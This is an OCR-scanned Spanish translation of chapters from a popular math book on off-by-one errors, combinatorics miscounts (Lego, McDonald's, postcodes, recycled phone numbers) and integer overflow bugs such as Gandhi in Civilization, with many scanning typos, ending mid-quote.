Una samana va de domingo a dominga,

Creo que lo que pasa es gue no sabes contay, no pasa nada, no se bo dire
a radie, lal

De domingo a sabade son solo 6 dias. iLas semanas duran 6 dias donde vives?

B

W 05-17-2008, (:44 PM #21
Justin-27 Publicadio ariginaimente por Thelosh o
Tima to Grow N s empiera a contar el domingo, odasia no ha pasado un &, no se

empieza a contar hasta & unes. No puedes conter el dia en el que estds,
inunca has dado dases de matematicas elementales?

LUNES es 1 DiA |
MARTES son 2 DIAS
MIERCOLES son 3 DIAS
JUEVES son 4 DAS
VIERNES 5o 5 DIAS
SABADO son & DIAS

< DOMINGO son 7 DiAS
ifpué quieres dedr con que no se empieza a contar el domingo? iEs un jodido DIA!

iComo puedes rechazar las 4 semanas que postee? Dime listllo, doudntas veces
entrenas en 4 semanas? ****, fijate en tu bonito calendario y dime si no ta salen
14 en un mes.

Al igual que ocurre con las mejores discusiones que se han producido en linea, en el fondo
sospecho que TheJosh es un trol, tomandole el pelo a Justin-27 para divertirse viendo lo furioso
que este se pone. Durante mucho tiempo, TheJosh se mantuvo fiel a su personaje, hasta que soltd
un jocoso «me tomas demasiado en serio». Luego regresd a su argumento inicial y siguid con €l.
Por lo que no podemos descartar la posibilidad de que sea genuino. Me gustaria creer que si.



Trol o genuino, en cualquier caso, TheJosh ha adoptado una postura ideal, la cual, aunque es
erronea, se apoya en suficientes ideas equivocadas verosimiles, lo que le permite discutir sobre
ella extensamente. Y eso es lo que hace, utilizando dos clésicos errores matematicos: contar desde
cero y los errores por uno, también llamados errores por un paso.

Contar desde cero es algo habitual en los programadores. Los sistemas informaticos se
suelen utilizar hasta su limite absoluto, por lo que los programadores no quieren desperdiciar ni
un solo bit. Esto significa contar desde cero en lugar de desde uno. El cero es, después de todo, un
namero perfectamente valido.

Es como contar con los dedos, que es, de hecho, la forma mas facil de hacer matematicas.
iPero la gente lo sigue encontrando confuso! Cuando pedimos hasta qué numero puede alguien
contar con sus dedos, la mayoria de personas dicen diez. Pero se equivocan. Puedes contar once
nameros distintos con tus dedos: de cero a diez. Y esto es sin hacer trampas, por ejemplo,
utilizando diferentes sistemas numéricos que hacen que pongas los dedos en posiciones ridiculas.
Si pasas de no mostrar ningin dedo a mostrar los diez, estos pueden adoptar once posiciones
distintas.

El tnico inconveniente es que eliminas el vinculo entre el nimero que estds utilizando para
mantener el registro de tu contaje con el nimero de cosas que estds contado. El primer objeto
corresponde a cero dedos, el segundo a un dedo, y asi hasta el objeto once que se representa con
diez dedos.

Si entrenas el dia 8 del mes, no has de empezar a contar los dias hasta que llegue el dia 9, porque eso
seria un dia completo, entonces el dia 10 ya serian dos dias, y asi hasta llegar al dia 22, que serian 14
dias.

TheJosh (post #14)

Eso es contar desde cero de incognito. Para TheJosh, el octavo dia del mes es el dia cero,
por lo que el noveno dia del mes es el primer dia que estd contando. Pero eso no quiere decir que
el total sea de catorce dias. Contar desde cero rompe el vinculo entre aquello que estas contando y
cudl es el total. Contar desde cero a catorce hace un total de quince.

Este tipo de error es tan comtn que la comunidad de programadores tiene un nombre para él:
OBOE, las siglas en inglés para errores por uno, o por un paso. Se le dio ese nombre por el
sintoma y no por la causa, pues la mayoria de los errores por uno proceden de complicaciones de
forzar al codigo para que se ejecute un nimero determinado de veces o contar un cierto nimero de
cosas. Estoy obsesionado con una clase concreta de errores por uno: el problema de los postes de
una valla. Y esa es la segunda arma del arsenal de Josh.

Este error recibe el nombre de problema del poste porque se describe clasicamente
utilizando la metafora de una valla: si un tramo de 50 metros de valla tiene un poste cada 10
metros, jcuantos postes hay? La respuesta inexperta es cinco, pero tendria que haber seis.

Cinco secciones de valla necesitan seis postes.



La suposicion innata es que, a cada seccion de valla le corresponde un poste, lo cual es
cierto para la mayor parte de la valla, pero ignora el poste extra que hay que poner para que haya
uno en cada extremo. Es un ejemplo claro de que nuestros cerebros llegan a una conclusioén que
puede ser facilmente desmentida por las matematicas. Siempre estoy buscando ejemplos
interesantes. Una vez que estaba subiendo por las escaleras mecanicas de una estacion de metro en
Londres vi una sefial que atrajo mi atencion. jEra un problema del poste en el mundo real!

Siempre hay alguna parte del metro que se estd reparando y Transporte de Londres intenta
poner sefales explicando por qué tu trayecto es mas desagradable de lo habitual. Esa mafiana en
particular, eché una mirada a la sefial que estaba en la escalera mecanica cerrada y tuve que subir
los cientos de escalones adyacentes. La sefial decia que la mayoria de escaleras mecanicas del
metro se renovaban dos veces, lo que les daba «el doble de vida». Esto cae de lleno en el
territorio del problema del poste: algo se alterna (la escalera se usa, la escalera se renueva,
repetir) y debe empezar y terminar en el mismo punto (la escalera se usa). Si una escalera se
renueva dos veces, se usara tres veces mas que si no hubiese sido renovada nunca. La gente que
pasaba por la estacion no cayo en la cuenta.

'REFORMA

Dos reformas permiten tres periodos de uso.

Los errores por uno también explican una pelea que siempre he tenido con la teoria musical.
Desplazarse a lo largo de las teclas del piano se mide en términos del nimero de notas que
abarca: golpear Do en un piano, saltarse Re y luego golpear Mi es un intervalo llamado tercera,
porque Mi es la tercera nota de la escala. Pero lo que realmente importa no es cuantas notas se
utilizan, sino la diferencia entre ellas. Es el problema inverso al del poste: los intervalos
musicales cuentan los postes, jcuando deberian contar la valla!l

Por lo tanto, cuando se toca el piano, subir un «tercio» significa subir dos notas, y subir un
«quinto» es subir solo cuatro notas. Si lo juntamos todo, toda la transicion es un «séptimoy», lo que
nos da 3 + 5 = 7. Contar los separadores y no los intervalos significa que la nota existente entre
las transiciones se cuenta dos veces. Esa es también la razon por la que una «octava» de siete
notas (y siete intervalos) tiene el «oct» (ocho) en el nombre que la define. El lado positivo es que
puedo echar la culpa de mi terrible falta de habilidad musical al comportamiento anormal de los
nimeros.



Cuando se trata de medir el tiempo, utilizamos una curiosa mezcla de contar los postes y
contar las secciones de una valla. O podemos verlo en términos de redondeo. La edad se redondea
sistematicamente hacia abajo: en muchos paises, un humano tiene edad cero durante su primer afo
de vida y pasa a tener un afo de edad después de haber finalizado todo ese periodo de su vida.
Siempre somos mas viejos que lo que dice nuestra edad. Lo que significa que al cumplir treinta y
nueve afos no estas en tu trigésimo noveno afio de vida, sino en el cuadragésimo. Si contamos el
dia en que nacemos como nuestro cumpleafios (contra lo que es muy dificil argumentar), entonces
cuando cumples treinta y nueve es realmente tu cuarenta cumpleafios. Por muy cierto que sea,
seglin mi experiencia, a la gente no le gusta verlo escrito en su tarjeta de cumpleafios.

Los dias y las horas también se cuentan de forma diferente. Me encanta el ejemplo de alguien
que empieza a trabajar a las ocho de la mafnana y a las doce ya tiene que haber limpiado los pisos
ocho al doce del edificio. Si limpia un piso por hora dejaria un piso entero sin limpiar. Y no en
todos los paises se nombran los pisos de la misma manera. En algunos cuentan los pisos desde
cero (en ocasiones representado por una G, por razones arcaicas perdidas en la historia) y en
otros por el 1. Y los dias se cuentan de forma diferente a como se cuentan las horas: si los pisos
ocho al doce se han de limpiar a fondo entre el 8 de diciembre y el 12 de diciembre, habria
suficiente tiempo para hacer un piso por dia.

Este problema lleva vigente mucho tiempo. Es la razon por la que, hace dos mil afios, Julio
César instaurd los afios bisiestos cada tres afos en lugar de cada cuatro. Los pontifices de la
época utilizaban el inicio del cuarto afio. Es como si necesitaras dejar algo de cerveza para que
fermentara para los primeros cuatro dias del mes y lo detuvieras la mafana del cuarto dia. jSolo
habrian pasado tres dias! Los pontifices hicieron lo mismo, pero, en lugar de con cervezas, con los
afnos. Si empezamos a contar desde el principio del afio uno en lugar desde el afio cero, entonces
el inicio del ano cuatro solo es tres anos mas tarde. Curiosamente, si te bebes mi cerveza casera,
también te sentirds como si te faltara un afio de tu vida (yo la llamo «cerveza bisiestay).

Sin duda alguna, estos no son los Unicos errores matematicos de la era clasica. Las personas
de hace dos mil afios eran tan buenas a la hora de cometer errores matematicos como lo somos
nosotros, lo que ocurre es que la mayoria de las pruebas han sido destruidas. Y creo que eso es lo
que también les gustaria que sucediera a los que los cometen hoy en dia. Pero, hurgando entre
antiguos informes, salen a la luz algunos errores, entre ellos el que creo es el ejemplo mas antiguo
de error del poste.

Marco Vitruvio Polion fue contemporaneo de Julio César y le conocemos, en gran parte, por
sus muchos escritos sobre arquitectura y ciencia. El trabajo de Vitruvio fue muy influyente en el
Renacimiento, y £/ hombre de Vitruvio de Leonardo da Vinci se llama asi por ¢l. En su tercer
libro de una serie de diez, titulada De architectura, habla sobre cémo construir un templo



(incluyendo siempre un nimero impar de escalones, por lo que siempre que alguien coloque su pie
dominante sobre el primer escalon utilizara el mismo pie cuando llegue arriba). También habla
sobre un error comin que se comete cuando se colocan las columnas. Para un templo que sea el
doble de largo que ancho, «aquellos que colocan el doble de columnas para la longitud del tempo
parece que han cometido un error porque el templo tendrd entonces un intercolumnio mas que no
deberia tener».

En el latin original, ademas de que las columnas aparecen como columnae, Vitruvio habla de
las intercolumnia, o espacios entre columnas. Al doblar la longitud del templo no se necesita el
doble de columnas, aunque, en su lugar, si que necesitan el doble de espacios entre columnas.
Vitruvio advierte a aquellos que construyen templos que no cometan el error del poste y acaben
con una columna de mas. Si alguien puede encontrar un ejemplo antiguo de un error del poste o de
un error por uno me encantaria conocerlo.

El problema sigue causando molestias a mucha gente. A las cinco de la tarde del 6 de
septiembre de 2017, el matematico James Propp estaba en una tienda de teléfonos moéviles
Verizon, en Estados Unidos, comprandose un nuevo teléfono. Era para su hijo y, afortunadamente,
venia con una poliza de reembolso «sin preguntas» si se devolvia dentro de los catorce dias
después de la compra. Resulta que el teléfono no era lo que buscaba su hijo, y dos semanas
después, el 20 de septiembre, Propp fue a devolverlo. Pero, a pesar de estar dentro del plazo de
catorce dias desde que se compro6 el teléfono, la tienda no podia completar la devolucién ya que,
técnicamente hacia quince dias que se habia establecido el contrato.

Parece que Verizon empezd a contar en el dia uno y no en el dia cero y utilizaban el nimero
de dia como forma de medir el paso del tiempo. Desde el mismo momento en el que James recibid
su teléfono Verizon ya contaba que era suyo durante todo el dia. Al inicio del dia dos, segin el
sistema de Verizon ya tenia el teléfono durante dos dias, a pesar de que lo hubiera recibido tan
solo siete horas antes, y asi sucesivamente, lo que hizo que al final James hubiera tenido el
teléfono durante menos de catorce dias, aunque segun Verizon lo tuvo quince dias.

En la tienda, el gerente no podia hacer nada porque el sistema de Verizon consideraba que
James lo devolvia el dia quince de su contrato y habia bloqueado cualquier opcion de devolver el
producto. Pero, cuando James fue a casa y repaso la letra pequena del contrato, observéd que no se
hacia mencién alguna de que el primer dia del contrato contaria como dia uno. Algunos de sus
familiares, que eran abogados, le contaron que este problema ya habia sucedido antes y que,
legalmente, es importante eliminar la ambigiiedad del dia cero. En su estado natal, Massachusetts,
el sistema legal tiene que lidiar con este problema cuando tiene que dictar una sentencia, y asi lo
ha definido:

Al computar cualquier periodo requerido o permitido por estas normas, por orden judicial o por

cualquier ley o norma aplicable, no se debe incluir el dia del acto, suceso o por defecto a partir del cual
empieza el periodo de tiempo sefialado.

Reglas de Procedimiento Civil de Massachusetts, Regla

de Procedimiento Civil 6: Tiempo, Seccion (a) Computo.

James se dio cuenta de que era probable que no hubiera suficientes personas que hubieran
sido victimas del abuso de Verizon con el niimero cero para presentar una demanda colectiva. En
su caso, podia utilizar las matematicas (y amenazar con cancelar sus otros contratos) hasta que se



agotaran lo suficiente como para darle la razon. Pero no todo el mundo tenia la seguridad
matematica o el tiempo libre para defender el caso. James propone una regla del dia cero, lo que
significa que todos los contratos estan obligados a reconocer el dia cero, una iniciativa que cuenta
con todo mi apoyo.

Pero no creo que veamos producirse ese cambio. Los errores por uno llevan siendo un
problema desde hace miles de afios y sospecho que seguiran siéndolo durante algunos miles mas.
En gran parte como ocurrié con bodybuilding.com (que creo que finalmente se cerrd), voy a darle
la ultima palabra a TheJosh:

Mi argumento ha sido demostrado por gente inteligente. Si coges una Unica semana y no dos semanas,
solo una, y entrenas cada dos dias, puedes entrenar 4 dias por semana. Fin, deja de quejarte.
TheJosh (post #129)

Guerra de combinaciones

Contar combinaciones puede ser una ardua tarea porque las opciones se van afiadiendo muy
rapidamente y producen nimeros asombrosamente grandes. Desde 1974, Lego ha afirmado que
utilizando solo seis de sus piezas comunes y corrientes de dos por cuatro se pueden conseguir
102.981.500 combinaciones diferentes. Pero, para llegar a ese nimero, tuvieron que hacer algunas
suposiciones y un error.

Su calculo da por hecho que todas las piezas son del mismo color (e idénticas en cualquier
otra caracteristica) y que cada una de ellas se coloca encima de otra para lograr una torre de seis
piezas de alto. Empezando con una pieza en la base, existen cuarenta y seis formas diferentes de
colocar cada una de las piezas siguientes encima de la anterior, lo que da un total de 465 =
205.962.976 torres. De todas esas torres, treinta y dos son Unicas, pero las otras 205.962.944 son
copias de las demas. A cualquiera de esas torres se le puede dar la vuelta y se vera exactamente
igual que otra torre. La mitad de 205.962.944 mas 32 nos da un total de 102.981.504. El unico
error es que la calculadora de 1974 que proceso todo esto no soportaba tantos digitos, por lo que
la respuesta se redonded hacia abajo quitando cuatro.

Y entonces, un buen dia, el matematico Seren Eilers estaba paseando por Legoland, en
Dinamarca, y no se sentia satisfecho con el nimero 102.981.500 que vio expuesto. Un tiempo
después, en su despacho de la Universidad de Copenhague, decidi6 averiguar el nimero de
combinaciones resultantes de combinar seis piezas de dos por cuatro de Lego, pero teniendo en
cuenta que las piezas se pudieran colocar una junto a otra ademas de una encima de otra. No era
un calculo que se pudiera hacer a mano. Incluso con seis piezas de Lego, el nimero de formas en
las que se pueden unir entre si es demasiado grande para que lo cuente un humano. Un ordenador
tendria que explorar todas las opciones posibles e irlas contabilizando. Esto ocurria en 2004, y
los ordenadores eran mucho mas potentes que en 1974, pero aun asi fue necesaria media semana
para obtener la respuesta: 915.103.765.



Existen veintiuna formas de unir dos piezas en la misma direccion y veinticinco formas de hacerlo en
direcciones diferentes. Un total de cuarenta y seis opciones, y solo las dos del centro son simétricas.

Para asegurarse de que su célculo era correcto, Eilers le paso el problema a un estudiante de
secundaria, Mikkel Abrahamsen, que estaba buscando un proyecto de matematicas. El c6digo que
utilizé Eilers estaba escrito en el lenguaje de programacién Java y se ejecutaba en un ordenador
Apple. A Abrahamsen se le ocurri6 una nueva forma de explorar las combinaciones y lo programo
en Pascal para que se ejecutase en una maquina Intel. Ambos métodos completamente diferentes
dieron la misma respuesta de 915.103.765, por lo que podemos estar bastantes seguros de que es
correcto.

Dado que el célculo de combinaciones puede producir nimeros tan enormes, se suelen
utilizar en publicidad. Pero rara vez las compaiiias se preocupan de obtener la respuesta correcta.
Cuando Peter Cameron, un matematico especialista en combinatoria fue a un restaurante de tortitas
en Canadd, se fijo6 en que anunciaban que se podia elegir entre «1.001 coberturas». Siendo
especialista en combinatoria, se dio cuenta de que 1.001 es el niumero total de maneras de mezclar
cuatro cosas de un total de catorce opciones, por lo que supuso que disponian de catorce
coberturas y que los clientes podian elegir cuatro. En realidad, el restaurante tenia veintiséis



coberturas (lo preguntd) y habian elegido «1.001» unicamente porque era un nimero que parecia
enorme. Si hubieran calculado las matematicas correctamente, esas veintiséis coberturas daban un
total de 67.108.864 opciones. Un extrafio caso de marketing que subestima la realidad.

De forma parecida, en 2002, McDonald’s puso en marcha una campafa publicitaria en el
Reino Unido para promocionar su Meni McChoice, que consistia en ocho productos diferentes.
Posteres colgados por todo Londres prometian que cada consumidor podria elegir entre 40.312
opciones, un nimero que, ademas de ser erroneo, viene acompafiado de una guarnicion extra de
error. Y lo que lo convierte en un caso especial es que, cuando les avisaron de sus errores,
McDonald’s no admitid su error, sino que insistio en justificar sus malas matematicas.

Calcular el nimero de combinaciones de ocho productos del menu es razonablemente facil.
Imagine que le ofrecen cada una de las opciones de una en una. ;Quiere una hamburguesa? ;Si o
no? ;Quiere patatas fritas? ;Si o no? Habra ocho elecciones si-no, por lo que tendremos 2 x 2 x 2
x 2 x2x2x2x2=28=256 opciones. Entre ellas estd no escoger nada del mend, escoger
comerlo todo y todas las combinaciones entre ambos extremos. Y si no comer nada no cuenta
técnicamente como comida, nos quedan 255 opciones (aunque algunas personas opinaran que «sin
comer» es su opcion favorita a la hora de visitar un McDonald’s).

El nimero que utilizO McDonald’s era el resultado de un calculo muy diferente. Es la
respuesta a la pregunta de en cuantas formas diferentes se pueden disponer ocho productos del
menu. En este caso, imagine que tiene los ocho productos frente a usted y tiene que comerlos de
uno en uno. Tiene ocho opciones para escoger cual se come primero, siete opciones para lo que
quiere comerse en segundo lugar, y asi sucesivamente: 8 X 7 x 6 x 5 x4 x 3 x 2 x 1 =8!=40.320
formas de comerse un menu de ocho componentes.2 McDonalds’s es muy optimista al suponer que
la gente pedird los ocho productos del menut y decidird el orden favorito en que quiere
comérselos. (Con tres comidas por dia, harian falta treinta y siete dias para probarlas todas. Eso
es pasar demasiado tiempo en la Casa de Ronald.)

Y luego vino la guarnicién extra de error, que creo que realmente fue el tinico momento de
claridad que tuvo McDonald’s. Decidieron que una «combinacion» requeria al menos que se
combinaran dos productos, por lo que restaron ocho de su total, para eliminar la opcion de un
unico producto. Por supuesto, el calculo que hicieron originalmente no fue en ningin caso el
numero de combinaciones, por lo que el resultado final fue un sinsentido.3 E incluso si lo hubieran
hecho correctamente, se olvidaron de eliminar la opcidén «sin comer» de su lista. En realidad, el
numero de combinaciones de dos o mas productos de un ment de ocho productos es 247. Mucho
menos que 40.312. Todo lo contrario a su habitual publicidad: jHazlo grande!

La diferencia era tan enorme que 154 personas se quejaron a la Direccion de Normas de
Publicidad del Reino Unido (ASA por sus siglas en inglés) de que McDonald’s estaba exagerando
enormemente cuantas opciones ofrecia realmente su Meni McChoice. Obligado ahora a defender
su posicion, McDonald’s no admitié que sus matematicas fueran erroneas. En cambio, la compaifiia
optd por la estrategia clasica de «soy absolutamente inocente» al presentar dos excusas
mutuamente excluyentes, como un nifio culpable que dice que nunca hubo una hamburguesa vy, al
mismo tiempo, que fue su hermano quien se la comio.

Primero, cuando se les dijo que el nimero de formas en las que se puede pedir una comida es
irrelevante, McDonald’s declar6 que no era asi. Segun el reglamento de la ASA:



Los anunciantes dijeron que sabian que algunas personas podrian pensar que una hamburguesa doble de
queso y un batido de leche fuera la misma permutacion que un batido de leche y una hamburguesa doble
de queso, pero creyeron que cada permutacion debia considerarse como una experiencia gastronomica
diferente.

Ni siquiera voy a analizar su uso de la palabra «permutacion», porque nos distraeria del
hecho de que McDonald’s defendi6 seriamente que comerse la hamburguesa o beberse el batido
en primer lugar hace que se trate de dos comidas diferentes. Nadie les ha dicho que, en lugar de
comerse sus productos en serie, algunas personas los consumen en paralelo, lo que permite un
nimero gastrondmico de posibles menus.

Dando por hecho que la compatfiia lo que queria era calcular el nimero de disposiciones del
ment (su respuesta incluso utilizd el nombre técnico para ese calculo: un «factorialy),
McDonald’s también decidié que 40.312 no era el resultado de un célculo, sino que era una cifra
meramente ilustrativa. Sostenian que el calculo real incluiria las diferentes variaciones de sabores
de algunos de los productos del menu (para un nuevo total de dieciséis componentes distintos), lo
que da un nimero total de combinaciones mayor que 65.000. jLo cual es correcto! (216 = 65.536).
Pero incluye cosas como entrar en un McDonald’s y pedir un batido de cada sabor y llamar a eso
comida.

Finalmente, la Direccion de Normas de Publicidad fall6 a favor de McDonald’s y desestimé
las reclamaciones. Senalaron que McDonald’s habia puesto un nimero incorrecto en su anuncio,
pero decidié que la compania solo pretendia indicar que habia un montén de elecciones y que el
total de «mas de 65.000» era mayor que el nimero real de combinaciones prometidas. Pero, en
este caso, el «lovin’ ity no funciond. Se presentd un recurso de apelacion quejandose de que un
anunciante no deberia poder cambiar retrospectivamente el calculo que hay detrds de un nimero
utilizado en un anuncio. El recurso de apelacion fue denegado. Y eso fue todo.

Aunque han pasado décadas desde entonces, voy a reabrir este caso sin resolver
(probablemente nunca se cerrd) y echar una ultima mirada a los hechos. Voy a contar inicamente
los productos razonables. Los ocho productos del Meniu McChoice se pueden combinar en
diferentes tipos de aperitivos y comidas como haria cualquier persona. Creo que podemos cubrir
con ello cualquier mena razonable posible:

Bebidas:
Cuatro refrescos, cuatro batidos o ninguna bebida: 9

Comidas:

Hamburguesa con queso, sandwich de pescado o perrito caliente.# Permito que la gente no escoja plato
principal (una opcidn), uno de estos (tres opciones) o dos de estos si estdn muy hambrientos
(posiblemente, dos del mismo); 6 opciones: 1+ 3 + 6 =10

(Quiere ademas patatas fritas?
Si o no: 2

Postres:

Pastel de manzana, tres sabores de McFlurry o los cuatro batidos. Aunque se hubiera elegido un batido
como bebida principal, no voy a juzgar el hecho de que alguien quiera otro como postre. Con la opcion
de no tomar postre hacenuntotal de: 1 +3+4+1=9



Eso nos da un total de:
9x10x2x9=1.620

Si eliminamos la opcién de «no comer» nos quedan 1.619 combinaciones legitimas de
productos del mend. Es posible argumentar que he pasado por alto alguna combinacién que la
gente podria pedir, pero estoy bastante seguro de que McDonald’s no quiere utilizar su publicidad
para sugerir que la gente entre y se coma siete perritos calientes de un tiron. Seria un «unhappy
meal».

¢Es tu permutacion lo suficientemente grande?

En ocasiones, el nimero de opciones permitidas puede dar lugar a limitaciones serias. Los
codigos postales de Estados Unidos tienen cinco digitos de longitud y van del 00000 al 99999: un
total de tan solo cien mil opciones. Dado que Estados Unidos tiene una superficie total de
9.158.022 kilometros cuadrados, esto da menos de 100 kilémetros cuadrados por codigo postal
potencial. No se puede ser mas preciso que eso (por término medio). Esto ayuda a restringir la
entrega de correo, pero el resto de la direccidn es necesaria para precisarla mas.

Puede ser peor: Australia utiliza codigos postales de cuatro digitos teniendo una superficie
comparable a la de Estados Unidos (7.692.024 kilometros cuadrados), por lo que cada codigo
postal abarca, por término medio, 769 kilémetros cuadrados con los que lidiar. Pero gracias a
tener poca poblacidn, hay solo unas 2.500 personas por codigo postal, mientras que en Estados
Unidos la cifra es de unos 3.300 humanos por codigo. Esos numeros suponen que la distribucion
de la poblacion es equitativa y, segiin mi experiencia, a la gente le gusta ir donde hay mas gente, lo
que implica mas humanos por cddigo postal. Me fijé solo en el codigo postal australiano del lugar
en el que creci (6023) y, en 2011, vivian alli 15.025 personas en 5.646 viviendas diferentes.

Ahora vivo en el Reino Unido, y si me fijo en mi codigo postal hay solo treinta y dos
direcciones. Eso es todo. Todos en la misma calle. Los codigos postales del Reino Unido tienen
una resolucion mucho mas fina que los australianos o los estadounidenses. El edificio donde esta
mi despacho estad en un cddigo postal solo para €1, un cddigo postal que abarca un tnico edificio.
Puedo dar mi direccion o dar solo mi nombre y mi cddigo postal. Para estadounidenses y
australianos eso suena ridiculo.5

En el Reino Unido se utilizan codigos postales mas largos y permiten que estos tengan letras,
digitos y espacios especificos. Existen algunas limitaciones sobre donde se pueden colocar las
letras y los digitos, pero el sistema sigue permitiendo la impactante cantidad de mil setecientos
millones de codigos postales posibles.
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Algunos ejemplos de codigos postales. He trabajado en dos tercios de ellos.

27 x26 x10x37 x 10 x26 x26 =1.755.842.400

Para ser justos, esta cifra es una sobrestimacion, porque algunas de las letras de un codigo
postal del Reino Unido describen una zona geografica. El «GU» de mi ejemplo es para la zona de
Guildford; «SW» y «E» son para las zonas del sudoeste y el este de Londres respectivamente. Si
el Reino Unido quisiera realmente maximizar su formato de codigos postales permitiendo que
todas las letras y digitos estuvieran en cualquier posicion de dos grupos de tres o cuatro simbolos
cada uno, entonces habria 2.980.015.017.984. Seria suficiente para que cada pedacito de terreno
de unos 30 centimetros cuadrados tuviera su cddigo postal. Creo que es una gran idea. Cuando
hago mi compra del supermercado en linea, podria darle a cada cosa que pido la direccion de
entrega que corresponde al armario exacto en el que necesito que acabe depositada.

Los nimeros telefonicos resuelven el problema asignando los numeros a personas, pero en
este caso si que necesitamos un emparejamiento uno a uno. Al principio, habia un nimero de
teléfono por casa y, ahora, con los teléfonos moéviles, tenemos un nimero por humano. Pero no hay
suficientes numeros para todos.

En el pasado, las llamadas de larga distancia o internacionales eran exageradamente caras,
por lo que las compaiias telefénicas intentaban rebajar las tasas de las demas compaiias de tal
forma que los clientes no tuvieran que cambiar de proveedor. Las compaifiias proporcionaban un
numero gratuito al que llamar, después de lo cual se podia introducir un c6édigo de identificacion y
luego el nimero al que se queria llamar. El coste de esta segunda llamada, que rebotaba a través
de la compania intermediaria, se cargaba a la cuenta asociada al codigo de identificacion.

El problema era que estas compaifiias intermediarias no aceptaban codigos largos. En
internet, algunas personas comentan como algunas compaiiias suelen usar solo cédigos de cinco
digitos, a pesar de tener decenas de miles de clientes. Cinco digitos permiten solo cien mil
posibles codigos, y diez mil clientes utilizarian el 10 % de ese total. En matematicas, diriamos
que el conjunto de nimeros posibles estd saturado en una proporcidn bastante alta del 10%. Con
menos de diez codigos posibles por cliente, no se tardaria mucho en adivinar uno valido y hacer
una llamada «gratis». Esta clase de seguridad por ocultacion solo funciona si el nimero de
codigos posibles es mayor al nimero de codigos validos.

Incluso parece que el nimero de humanos sobre la Tierra se encuentra en una tasa de
saturacion alta de niimeros telefonicos posibles. Si hubiera mas niimeros telefonicos que personas,
serian desechables (los numeros telefonicos, no los humanos). Pero, dado que los nimeros



telefonicos, historicamente, necesitaban poder ser memorizados, siempre ha existido presion para
que siguieran siendo cortos. Y por ese motivo, no hay suficientes para poder descartarlos, por lo
que los numeros telefonicos se reciclan; cuando cancelamos un contrato con una compaiiia
telefonica, nuestro nimero no se elimina, se le da a otra persona. La posibilidad de que un nimero
que estd vinculado directamente a nuestra informacion personal finalmente se le dé a otra persona
es, sin duda alguna, un riesgo de seguridad.

Mi historia favorita sobre un nimero telefénico reciclado procede del Ultimate Fighting
Championship (UFC por sus siglas en inglés). La UFC es una competicién de artes marciales
mixtas que solo me sonaba remotamente porque el lugar donde pelean es un octagono y se refieren
a ¢l con ese nombre. Diria que llamar a un programa de television «Camino al Octagono» y luego
ver un grupo de luchadores es publicidad falsa. Y mejor no me pongo a hablar de como unos
pocos poligonos superiores aparecian en «Mas alla del Octagonoy.

El luchador de peso wélter de la UFC, Rory MacDonald, se percaté de que nunca le ponian
la cancioén que habia solicitado cuando se dirigia al octagono para pelear. Sus oponentes elegian
canciones agresivas para animarse, y esas si que las ponian, pero parecia que sus elecciones eran
ignoradas. Me imagino que dirigirse a la zona de pelea y oir la inesperada explosion de «U Can’t
Touch This» de MC Hammer no ayuda mucho. Los demas luchadores se reian de sus elecciones
musicales.

Esto siguio asi hasta que, el dia previo a una pelea, el productor se dirigié a Rory y se
disculp6 por no haber sido capaz de poner la cancion de Nickelback que ¢l habia pedido. Rory
respondié que nunca habia pedido tal cosa y el productor le mostrd los mensajes de texto en los
que la pedia. Habian reciclado un antiguo niimero de teléfono de Rory y se lo habian dado
accidentalmente a un fan de la UFC que estuvo eligiendo alegremente la musica de Rory por ¢él. Es
una gran historia sobre las limitaciones del nimero de combinaciones y la primera vez que se
recuerda que Nickelback consigui6 que alguien dejase de sufrir.



Seis

NO CUADRA

Gandhi es famoso por ser el pacifista que condujo a la India a su independencia del Reino Unido.
Pero, desde 1991, también se ha ganado una reputacion como lider militarista que lanza ataques
nucleares sin mediar provocacion alguna. Y esto es gracias a los juegos de ordenador de la saga
Civilization, que han vendido mas de 33 millones de copias. Te has de enfrentar a varios lideres
mundiales de la historia en una carrera para construir la civilizaciéon mas grande, una de las cuales
es la de Gandhi, normalmente un hombre pacifico. Pero, incluso desde las primeras versiones del
juego, los jugadores se dieron cuenta de que Gandhi era un poco capullo. Nada mas desarrollar la
tecnologia atdmica, empezaba a soltar bombas nucleares sobre otras naciones.

Y esto era debido a un error en el codigo informatico. Los disefiadores del juego habian
asignado deliberadamente a Gandhi el nivel mas bajo de agresividad posible distinto de cero,
valorado con una puntuacion de 1. Tipico de Gandhi. Pero mas tarde, en el juego, cuando todas las
civilizaciones se volvian mas, bueno, civilizadas, a cada lider se le reducia su nivel de
agresividad en dos puntos. En el caso de Gandhi, que empezaba con una puntuacion de 1, el
calculo se efectud asi: 1 — 2 =255, y de repente tenia el nivel maximo de agresividad. A pesar de
que posteriormente se subsané el error, las versiones nuevas del juego mantienen como tradicion
que Gandhi siga siendo el lider que es mas feliz lanzando bombas nucleares.

El ordenador obtenia una respuesta de 255 por la misma razéon que los ordenadores tienen
problemas haciendo un seguimiento del tiempo: la memoria digital es finita. Los niveles de
agresividad se almacenaban como un nimero binario de 8 digitos. Empezar en 0000001 y
disminuir dos daba 00000000 y luego 11111111 (que es 255 en los nimeros habituales de base
10). En lugar de pasar a negativo, el nimero almacenado en un ordenador da la vuelta empezando
de nuevo por el maximo valor posible. Este tipo de errores se conocen como errores de
desbordamiento, y pueden romper el coddigo informatico de formas realmente interesantes.

En Suiza no se permite que los trenes tengan 256 ejes. Puede parecer extrafio, pero no
significa que los reguladores europeos se hayan vuelto locos. Para hacer un seguimiento de la
posicion de todos los trenes en la red ferroviaria suiza, hay detectores colocados alrededor de las
vias. Son detectores sencillos que se activan cuando una rueda pasa por una via, y luego cuentan
cuantas ruedas hay para proporcionar asi una informacion basica sobre el tren que acaba de pasar.
Desgraciadamente, hacen un seguimiento del nimero de ruedas utilizando un niimero binario de 8
digitos, y cuando ese nimero llega a 11111111, vuelve a 00000000. Cualquier tren que haga que la
cuenta vuelva de nuevo a exactamente cero habra pasado sin ser detectado, como si fuera un tren
fantasma.



Busqué una copia reciente del documento sobre el reglamento ferroviario suizo y la regla
sobre los 256 ejes esta entre la reglamentacion sobre la carga de los trenes y las formas en las que
los revisores se pueden comunicar con los conductores.

Supongo que tenian tantas peticiones de personas que desean conocer con exactitud por qué
no pueden afiadir algun eje a los 256 existentes que incluyeron una justificacion en el manual. Esto
es, aparentemente, mas facil que arreglar el coédigo. Ha habido muchas ocasiones en las que un
tema de hardware se ha salvado con una solucion de software, pero solo en Suiza he visto que se
haya arreglado un error con un parche burocratico.

5.1 Zugvorbereitung R 300.5
Zugbildung R 1-30111

4.7.4 Zugbildung

Um das ungewollte Freimelden von Streckenabschnitten durch das
